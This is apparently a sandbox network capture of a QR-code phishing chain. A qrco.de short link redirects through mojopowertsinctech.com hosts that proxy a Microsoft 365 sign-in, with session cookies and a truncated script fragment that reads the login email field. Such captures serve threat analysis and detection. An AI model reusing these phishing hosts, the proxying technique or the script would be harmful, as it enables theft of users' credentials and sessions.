Feb 23, 2024 11:50:08.835714102 CET	1.1.1.1	192.168.2.4	0xf355	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:50:08.835714102 CET	1.1.1.1	192.168.2.4	0xf355	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:50:24.428273916 CET	1.1.1.1	192.168.2.4	0x7fc1	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Feb 23, 2024 11:50:28.504753113 CET	1.1.1.1	192.168.2.4	0x57af	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 11:50:28.504753113 CET	1.1.1.1	192.168.2.4	0x57af	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

clients2.google.com

accounts.google.com

qrco.de

o365.mojopowertsinctech.com

react.mojopowertsinctech.com

fs.microsoft.com

https:

aadcdn.msftauth.net

aadcdn.msauth.net

ywnjb.mojopowertsinctech.com

acctcdn.msftauth.net

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	142.250.65.206	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:16 UTC	752	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-117.0.5938.132 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:16 UTC	732	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-VLWN9grJTwd8BsrFcQcVSA' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 23 Feb 2024 10:49:16 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 6262 X-Daystart: 10156 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-02-23 10:49:16 UTC	520	IN	Data Raw: 32 63 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 32 36 32 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 31 30 31 35 36 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 2c9<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6262" elapsed_seconds="10156"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2024-02-23 10:49:16 UTC	200	IN	Data Raw: 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a Data Ascii: 723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
2024-02-23 10:49:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	142.251.167.84	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:16 UTC	680	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk
2024-02-23 10:49:16 UTC	1	OUT	Data Raw: 20 Data Ascii:
2024-02-23 10:49:17 UTC	1799	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 23 Feb 2024 10:49:16 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-9nK5iAMw6r-zVIea444zUw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin reporting-endpoints: default="/_/IdentityListAccountsHttp/web-reports?context=eJzjMtDikmLw1JBiOHxtB5Meyy0mIyCe2_2UaSEQH4x7znQUiHf4eLA4pc9gDQBiIR6ONR8ermMTmDFjwSlmALgUF6s" Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-02-23 10:49:17 UTC	23	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2024-02-23 10:49:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	18.238.49.52	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:18 UTC	656	OUT	GET /beoXnp HTTP/1.1 Host: qrco.de Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:18 UTC	545	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Fri, 23 Feb 2024 10:45:46 GMT Server: nginx Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: https://o365.mojopowertsinctech.com/GFzGHtAX X-Cache: Hit from cloudfront Via: 1.1 932eefec422d884c28f3c110319f29fe.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: FyAaB3F9uIbhpXCQrM46I8GRe71UEhiMl5qyMBvepBgSuewB8ERmLg== Age: 212
2024-02-23 10:49:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	104.21.50.101	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:19 UTC	678	OUT	GET /GFzGHtAX HTTP/1.1 Host: o365.mojopowertsinctech.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:19 UTC	798	IN	HTTP/1.1 302 Found Date: Fri, 23 Feb 2024 10:49:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://o365.mojopowertsinctech.com/ Set-Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; Path=/; Domain=mojopowertsinctech.com; Expires=Fri, 23 Feb 2024 11:49:19 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YrrxdZhiLbDzLxHGMBOTX%2BeEV7iKsMNhJIn97UPiI5WkHzRIkuOBIyj2rd7YH1%2F3zcabnOwLyUCpAf7yt%2FjkuXGdnwiT4rfjiUiaREOlTKFE%2BzeNlhU8fy1C8qP5%2F58SMNLkMh%2BkSiPdZjHveA8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 859ee6c70970c47f-EWR alt-svc: h3=":443"; ma=86400
2024-02-23 10:49:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	104.21.50.101	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:19 UTC	754	OUT	GET / HTTP/1.1 Host: o365.mojopowertsinctech.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782
2024-02-23 10:49:20 UTC	1362	IN	HTTP/1.1 302 Found Date: Fri, 23 Feb 2024 10:49:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store, no-cache Expires: -1 Location: https://react.mojopowertsinctech.com/login Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2"}]} Set-Cookie: fpc=AvPKuGNLYD9LgJAF1cIaerE; Path=/; Expires=Sun, 24 Mar 2024 10:49:20 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: esctx=PAQABAAEAAADnfolhJpSnRYB1SVj-Hgd858KrT88DkNzHh_j_4oeI0Gadu5oiJYqolSB6-CRAx4sxztOsyv6yi8cxe3YgzmGmx93ToH44BSztAeaTAGfSPlWBx3MdWNdmRAOLiav-QUsBTJPpOHwvPqT-Vk_UCl6bffP2AHtvIKZIfyuSPi4VvHp-1zUf_28wqxRaxHOBnzQgAA; Path=/; Domain=o365.mojopowertsinctech.com; HttpOnly; Secure; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None Set-Cookie: stsservicecookie=estsfd; Path=/; HttpOnly; Secure; SameSite=None Vary: Accept-Encoding X-Ms-Ests-Server: 2.1.17338.9 - SEC ProdSlices X-Ms-Request-Id: ea27610d-5a63-4434-b528-c8bc71d51500 CF-Cache-Status: DYNAMIC Server: cloudflare
2024-02-23 10:49:20 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 35 39 65 65 36 63 62 37 39 36 32 38 63 31 38 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 859ee6cb79628c18-EWRalt-svc: h3=":443"; ma=86400
2024-02-23 10:49:20 UTC	987	IN	Data Raw: 33 64 34 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 61 63 74 2e 6d 6f 6a 6f 70 6f 77 65 72 74 73 69 6e 63 74 65 63 68 2e 63 6f 6d 2f 6c 6f 67 69 6e 23 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 6c 70 28 29 7b 0a 20 20 76 61 72 20 65 6d 61 69 6c 49 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 30 31 31 36 22 29 3b 0a 20 20 76 61 72 20 6e 65 78 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 Data Ascii: 3d4<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://react.mojopowertsinctech.com/login#">here</a>.</h2><script>function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.query
2024-02-23 10:49:20 UTC	7	IN	Data Raw: 32 0d 0a 0d 0a 0d 0a Data Ascii: 2
2024-02-23 10:49:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	104.21.50.101	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:20 UTC	760	OUT	GET /login HTTP/1.1 Host: react.mojopowertsinctech.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782
2024-02-23 10:49:21 UTC	1311	IN	HTTP/1.1 302 Found Date: Fri, 23 Feb 2024 10:49:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0 Referrer-Policy: strict-origin-when-cross-origin Request-Context: appId= Set-Cookie: OH.DCAffinity=OH-weu; Path=/; Expires=Fri, 23 Feb 2024 18:49:21 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: OH.FLID=15998a34-8a56-494a-8b70-e5aeb49931d8; Path=/; Expires=Sun, 23 Feb 2025 10:49:21 GMT; HttpOnly; Secure; SameSite=None
2024-02-23 10:49:21 UTC	1411	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 53 49 44 3d 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 2e 41 73 70 4e 65 74 43 6f 72 65 2e 4f 70 65 6e 49 64 43 6f 6e 6e 65 63 74 2e 4e 6f 6e 63 65 2e 6a 36 42 48 67 42 74 62 34 65 67 53 4c 65 61 78 33 50 6a 67 4e 41 35 46 76 6b 4c 65 56 57 6d 70 38 75 30 54 63 6b 30 39 49 6f 4e 6d 6d 78 58 74 47 70 37 62 4a 32 5f 30 6d 5f 73 41 71 6b 33 59 74 55 32 48 67 69 30 37 75 64 31 73 4c 54 46 48 46 47 4a 70 6d 5f 74 6a 75 66 65 30 51 66 4f 51 74 72 65 35 39 53 38 38 4e 65 70 39 77 36 75 49 5a 4a 64 34 6d 31 51 71 76 65 30 4e 48 44 33 44 32 43 43 70 59 48 58 77 6f 5f 68 46 48 79 77 Data Ascii: Set-Cookie: OH.SID=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMTSet-Cookie: .AspNetCore.OpenIdConnect.Nonce.j6BHgBtb4egSLeax3PjgNA5FvkLeVWmp8u0Tck09IoNmmxXtGp7bJ2_0m_sAqk3YtU2Hgi07ud1sLTFHFGJpm_tjufe0QfOQtre59S88Nep9w6uIZJd4m1Qqve0NHD3D2CCpYHXwo_hFHyw
2024-02-23 10:49:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	23.51.58.94	443

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:21 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-02-23 10:49:21 UTC	496	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/073D) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=203761 Date: Fri, 23 Feb 2024 10:49:21 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	23.51.58.94	443

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:21 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-02-23 10:49:21 UTC	456	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0778) X-CID: 11 Cache-Control: public, max-age=203743 Date: Fri, 23 Feb 2024 10:49:21 GMT Content-Length: 55 Connection: close X-CID: 2
2024-02-23 10:49:21 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	104.21.50.101	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:21 UTC	1881	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0 HTTP/1.1 Host: o365.mojopowertsinctech.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; fpc=AvPKuGNLYD9LgJAF1cIaerE; esctx=PAQABAAEAAADnfolhJpSnRYB1SVj-Hgd858KrT88DkNzHh_j_4oeI0Gadu5oiJYqolSB6-CRAx4sxztOsyv6yi8cxe3YgzmGmx93ToH44BSztAeaTAGfSPlWBx3MdWNdmRAOLiav-QUsBTJPpOHwvPqT-Vk_UCl6bffP2AHtvIKZIfyuSPi4VvHp-1zUf_28wqxRaxHOBnzQgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=2CB8A7944ACF6378145EB3BA4B176235
2024-02-23 10:49:22 UTC	1309	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store, no-cache Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2"}]} Set-Cookie: esctx-RDP06TKN7yE=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8-Xx06M6aKqvYiEC9giuAyv8vRF77uiGGtn6-vvKhdUouf_4yEcpIMcjJqDLReyNbS7-_n8t5v8aLhe3TmIFeNTSriDvb9ZranXcrPSlk8qKp8NeODuyByJbm1Uw3N_MT-ZiVXb2ruY7FIXzEVfcm9yAA; Path=/; Domain=o365.mojopowertsinctech.com; HttpOnly; Secure; SameSite=None Set-Cookie: fpc=AvPKuGNLYD9LgJAF1cIaerE; Path=/; Expires=Sun, 24 Mar 2024 10:49:22 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None Vary: Accept-Encoding X-Ms-Clitelem: 1,50168,0,, X-Ms-Ests-Server: 2.1.17396.8 - WEULR1 ProdSlices X-Ms-Request-Id: 